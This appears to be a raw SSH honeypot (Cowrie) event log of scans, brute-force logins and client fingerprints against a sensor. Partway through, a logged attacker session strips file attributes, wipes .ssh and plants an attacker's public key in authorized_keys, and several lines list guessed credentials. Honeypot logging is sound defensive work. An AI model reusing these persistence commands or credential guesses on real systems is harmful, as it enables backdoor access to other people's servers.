{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:57:00.166214Z","session":"2f5c23e10450","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:57:00.321525Z","src_ip":"87.251.64.176","session":"2f5c23e10450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:57:00.423438Z","src_ip":"87.251.64.176","session":"2f5c23e10450","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.52.112","src_port":56889,"dst_ip":"10.17.0.5","dst_port":22,"session":"5410154d1b4d","protocol":"ssh","message":"New connection: 104.152.52.112:56889 (10.17.0.5:22) [session: 5410154d1b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:57:22.126118Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0005\\xca\u0001\u0000\u0005\\xc6\u0003\u0003\u0225\\xc6P\\xfe\\xe7\\xae\\xe8\\x8d9%E\\xbec\u07dd\\xd0J\\x983\u06deD^\\xb9j@\\xe5\b\u0017\\xca\u0015 \\xae\\xad\\xfdu\\xbb]\\xb6P\\xb8\u001dM\\xaa\\xfc\\xef\\xf7R\\xae\\xf0B\\x82z\u001dx\\x8b\\x92t|\\xdd47\\xd2W\u0000\u001a\\xc0+\\xc0/\\xc0,\\xc00\u0329\u0328\\xc0\t\\xc0\u0013\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0005\\xca\u0001\u0000\u0005\\xc6\u0003\u0003\u0225\\xc6P\\xfe\\xe7\\xae\\xe8\\x8d9%E\\xbec\u07dd\\xd0J\\x983\u06deD^\\xb9j@\\xe5\b\u0017\\xca\u0015 \\xae\\xad\\xfdu\\xbb]\\xb6P\\xb8\u001dM\\xaa\\xfc\\xef\\xf7R\\xae\\xf0B\\x82z\u001dx\\x8b\\x92t|\\xdd47\\xd2W\u0000\u001a\\xc0+\\xc0/\\xc0,\\xc00\u0329\u0328\\xc0\t\\xc0\u0013\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:57:22.131025Z","src_ip":"104.152.52.112","session":"5410154d1b4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:57:22.134853Z","src_ip":"104.152.52.112","session":"5410154d1b4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.52.119","src_port":51325,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a0c21144986","protocol":"ssh","message":"New connection: 104.152.52.119:51325 (10.17.0.5:22) [session: 1a0c21144986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:57:22.174093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:57:22.179429Z","src_ip":"104.152.52.119","session":"1a0c21144986","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:57:22.202986Z","src_ip":"104.152.52.119","session":"1a0c21144986","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:57:22.229897Z","src_ip":"104.152.52.119","session":"1a0c21144986","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":57951,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5dba178e0a6","protocol":"ssh","message":"New connection: 2.57.121.112:57951 (10.17.0.5:22) [session: d5dba178e0a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:01.225294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:01.230025Z","src_ip":"2.57.121.112","session":"d5dba178e0a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:01.336706Z","src_ip":"2.57.121.112","session":"d5dba178e0a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"210480","message":"login attempt [admin/210480] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:01.838257Z","src_ip":"2.57.121.112","session":"d5dba178e0a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"210393","message":"login attempt [admin/210393] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:02.948700Z","src_ip":"2.57.121.112","session":"d5dba178e0a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"21031971","message":"login attempt [admin/21031971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:04.057518Z","src_ip":"2.57.121.112","session":"d5dba178e0a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"21031966","message":"login attempt [admin/21031966] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:05.166688Z","src_ip":"2.57.121.112","session":"d5dba178e0a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"210292","message":"login attempt [admin/210292] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:06.276252Z","src_ip":"2.57.121.112","session":"d5dba178e0a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:07.386518Z","src_ip":"2.57.121.112","session":"d5dba178e0a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":40644,"dst_ip":"159.203.135.109","dst_port":22,"session":"faa1d8432024","protocol":"ssh","message":"New connection: 103.189.208.13:40644 (159.203.135.109:22) [session: faa1d8432024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:27.992636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:27.997653Z","src_ip":"103.189.208.13","session":"faa1d8432024","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:28.242950Z","src_ip":"103.189.208.13","session":"faa1d8432024","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle#123","message":"login attempt [oracle/oracle#123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:29.253994Z","src_ip":"103.189.208.13","session":"faa1d8432024","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:29.798358Z","src_ip":"103.189.208.13","session":"faa1d8432024","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:29.801818Z","src_ip":"103.189.208.13","session":"faa1d8432024","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:29.806038Z","src_ip":"103.189.208.13","session":"faa1d8432024","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:30.054988Z","src_ip":"103.189.208.13","session":"faa1d8432024","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:30.586604Z","src_ip":"103.189.208.13","session":"faa1d8432024","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:30.589980Z","src_ip":"103.189.208.13","session":"faa1d8432024","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:30.840193Z","src_ip":"103.189.208.13","session":"faa1d8432024","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:30.844272Z","src_ip":"103.189.208.13","session":"faa1d8432024","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":55976,"dst_ip":"159.203.135.109","dst_port":22,"session":"80ad0a356ef2","protocol":"ssh","message":"New connection: 103.189.208.13:55976 (159.203.135.109:22) [session: 80ad0a356ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:31.084795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:31.090003Z","src_ip":"103.189.208.13","session":"80ad0a356ef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:31.337085Z","src_ip":"103.189.208.13","session":"80ad0a356ef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:32.357236Z","src_ip":"103.189.208.13","session":"80ad0a356ef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:33.607335Z","src_ip":"103.189.208.13","session":"80ad0a356ef2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":55990,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfa38d603a01","protocol":"ssh","message":"New connection: 103.189.208.13:55990 (159.203.135.109:22) [session: bfa38d603a01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:33.874828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:33.879448Z","src_ip":"103.189.208.13","session":"bfa38d603a01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:34.141556Z","src_ip":"103.189.208.13","session":"bfa38d603a01","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:35.210189Z","src_ip":"103.189.208.13","session":"bfa38d603a01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:35.457183Z","src_ip":"103.189.208.13","session":"faa1d8432024","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:35.471395Z","src_ip":"103.189.208.13","session":"bfa38d603a01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":54140,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7ddc19b0e2c","protocol":"ssh","message":"New connection: 190.242.109.42:54140 (159.203.135.109:22) [session: f7ddc19b0e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:43.018101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:58:43.022680Z","src_ip":"190.242.109.42","session":"f7ddc19b0e2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa